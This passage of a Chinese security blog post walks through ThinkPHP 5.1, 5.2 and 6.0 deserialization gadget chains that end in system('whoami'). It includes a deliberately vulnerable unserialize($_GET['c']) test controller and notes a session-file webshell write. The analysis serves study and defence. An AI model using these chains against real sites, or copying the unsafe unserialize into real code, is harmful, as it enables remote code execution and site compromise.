return $this->relation[$name];
}
return;
}
我们要进入visble
的分支。必须要$relation
为空。所以$this->relation
直接置空即可。
此时$relation
由$relation = $this->getAttr($key);
决定。它会依次调用\thinkphp\library\think\model\concern\Attribute.php 的getAttr()与getData()
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
......
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
这样就能确认我们的$relation
来自Attribute类的$this->data[$name]
.
现在需要注意的是。我们必须得找到一个既能调用Conversion还能调用Attribute属性的类。即继承了Attribute类和Conversion类的子类。这个其实就是我们之前5.0链子中用过的Model.php。
加上Model是抽象类。所以编写exp中使用它的子类Pivot实例化。这点不必多说。
接下来看$relation->visible($name)
中的$name
.它是遍历$this->append
得到的。可控。只需注意将其赋值为数组即可。(因为要进入if (is_array($name))
的分支)
既然已经拥有触发__call
的条件了。我们现在找一个可用的__call
。5.1版本中的gadget就是来自Request类的__call
。
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
显然$this->hook
可以让我们控制为["visable"->"arbitrary method"]
这个数组任意调用方法。但是注意array_unshift($args, $this)
会强行把$this
放到$args
数组的第一位。其后果是怎样的呢?我们看下call_user_func_array
call_user_func_array([$obj,"arbitrary method"],[$this,$arg])
=>
$obj->$func($this,$argv)
这种方法执行几乎没有。所以这就限制我们要找一个不受这种调用方式影响的函数。
在以前tp5的漏洞分析中,曾经用到过think\Request
类中的input 方法。里面有call_user_func($filter,$data)
可以用于命令执行。
但是前面说过, $args
数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。
整个Request类中一共有7处调用input方法的其他方法。我们选择param
方法为例
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
调用了input
方法但是只有一个$param
是可控的。所以还要继续找调用param
的方法。
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
isAjax方法返回值由$this->config['var_ajax']
控制。那么等于控制了param的参数$name
.等于控制了input 的参数$name
.
最后再来到input方法这看调用。
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
getData顺着看一下可控。且$data
=$data[$name]
,$filter
来自$this->filter
.最后到了array_walk_resursive相当于直接对数组每一个值调用了回调函数$this->filterValue($filter)
。
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
$this->filterValue
是通过call_user_func执行的自然不必说了。
既然如此。控制$this->filter
为system,$data
数组第一个值为命令whoami
之类的就可以执行命令了。
至此pop链就完整了。其实中间有个步骤就是解决call_user_func_array
那找到不受定死参数影响的命令执行这块,主要思路就是利用thinkphp过滤器,覆盖filter的方法去执行代码。
而在找到input作为主要下手点时,call_user_func_array(array(任意类,任意方法),$args)
中 $args
数组的第一个变量,即我们前面说的一个固定死的类对象会作为 $data 传给 input 方法,那么在强转成字符串的时候,框架就会报错退出。所以我们找不到就继续找上层调用input的函数。直到找到可控参数的函数isAjax
.就能解决参数不可控的问题。
tp5.2.x-unserialize
5.2版本的链子貌似跟之前没啥区别。但是我composer一直安装不上。加上5.2版本作为dev版本本身出现的不多,所以这里用thinkphp-vuln里的例子简单提一下。
前面入手点大同小异。唯一有区别的地方在触发__call
的代码$relation->visible($name)
这。看似tp5.2已经把这句代码删了。但是实际上是被转移到了appendAttrToArray
这个方法中。因此基本没有区别。我就不跟了。
放上几张图
真正的执行点在下面的$closure($value,$this->data)
这里的动态调用。参数均可控。所以赋值命令执行的参数即可。
tp6.0.x-unserialize
今天重新看了下之前在 php框架反序列化练习 文章里的内容。才想起来5.2跟6.0的链子应该是跟过了。不过当时没有动态调试,理解也没那么深刻。所以还是再看一下。
还是老样子更改Index.php
<?php
namespace app\controller;
class Index
{
public function index()
{
$u = unserialize($_GET['c']);
return 'ThinkPHP V6.x';
}
}
直接用wh1t3p1g 师傅集成好的。顺带也推荐下师傅在安全客上针对thinkphp链子的分析文章。
首先6.0版本的主要问题是前面5.*版本的利用起点Windows类都没了。也就是少了一个__destruct()
。那么我们需要找到一个替代的__destruct
作为起点。并且最好它能够在中间某个环节起到与其他链子相同作用比如触发__call
,__toString
之类的。这样的逻辑也是第5空间laravel那题的解题思路吧。因为跟过链子的人都知道只需要两个类就能rce.既然其中一个destruct被处理了。找一个替代的自然是最简单的办法。
vendor/topthink/think-orm/src/Model.php
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
构造lazySave为真值。进入save函数
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
这里关键函数是updateData
.不过既然如此我们不能进入上面那个if分支。
isEmpty与trigger
public function isEmpty(): bool
{
return empty($this->data);
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
......
显然。需要
1.$this->data
为非空数组。
2.$this->withEvent
为false
3.$this->exists
为true进入updateData函数
跟进到updateData后。我们不妨先看下哪一个函数可以利用,再回头考虑参数的构造。这里顺着看到checkAllowFields后
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
存在可控变量的拼接。那么我们就可以触发__toString
了。在经历了前面几个版本的反序列化构造后,我们当然清楚tp5.1~5.2版本的链子分别是__destruct()=> __toString() => __call() => call_user_func_array / $closure($value,$this->data)
的一系列调用。那么此处我们自然可以继续达成__toString来延续链子。
回头再检查updateData这的参数需要。首先第一个trigger我们已经满足条件了。然后if (empty($data))
这个分支不能进入。那就要看向getChangedData
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}
return $data;
}
令$this->force
为true.然后data就可控了。
接下来是回到利用函数checkAllowFields.拼接处之前的代码
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
需要
1.$this->field
为空进入分支
2.$this->schema
为空进入else
看一眼db()
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
原来db()函数这里也有一个变量拼接……不过殊途同归。我们用哪一个都差不多。例如exp中链子是把$this->suffix
作为触发的对象的。
然后后面就是一路畅通了。这里跟5.1(注意不是5.0,5.0 的 toString用的是model类的)一样用的是Conversion类里的__toString() => toJson => toArray => getAttr => getValue()
我们主要在getAttr,getValue里构造
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
public function getData(string $name = null)//$name='wh1t3p1g'
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {//$this->data = array("wh1t3p1g"=>"whoami");
return $this->data[$fieldName];//返回'whoami',回到getAttr
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
protected function getValue(string $name, $value, bool $relation = false)
{ //$name='wh1t3p1g' $value=‘ls’ $relation=false
// 检测属性获取器
$fieldName = $this->getRealFieldName($name); //该函数默认返回$name='wh1t3p1g'=$fieldName
$method = 'get' . App::parseName($name, 1) . 'Attr'; //拼接字符:getlinAttr
if (isset($this->withAttr[$fieldName])) { //['wh1t3p1g'=>'system']
if ($relation) { //$relation=false
$value = $this->getRelationValue($name);
}
$closure = $this->withAttr[$fieldName]; //$closure='system'
$value = $closure($value, $this->data);//system('whoami',$this->data
}
.......
return $value;
}
至此完成整条利用链。注意它的调用方法是system("whoami", ["wh1t3p1g"=>"whoami"])
.这是一种合法调用。
小结下。tp所有系列反序列化链就这么多了。大体上思路都是一样的。只有5.0版本是较为复杂的写文件。其他版本都可以直接rce.魔术方法也基本都是destruct,toString,call
调用。其中5.2,6.0是没有call的必要的。
tp6.0任意文件写
这个洞其实没必要跟了。就是年后ichunqiu战疫比赛时出现过的洞。session可以更改成32位.php
后缀。然后如果session内容可控的话就相当于写了shell.这个还是比较常见的。
小结
没想到真的还是把这个项目的内容都跟完了。不得不说理解了一些原理后也就对tp系列payload的构造有了更深的理解。虽然大部分实战中黑盒基本测不出来就是了。
下一步在考虑是去看看laravel还是java的几个反序列化链子。加油吧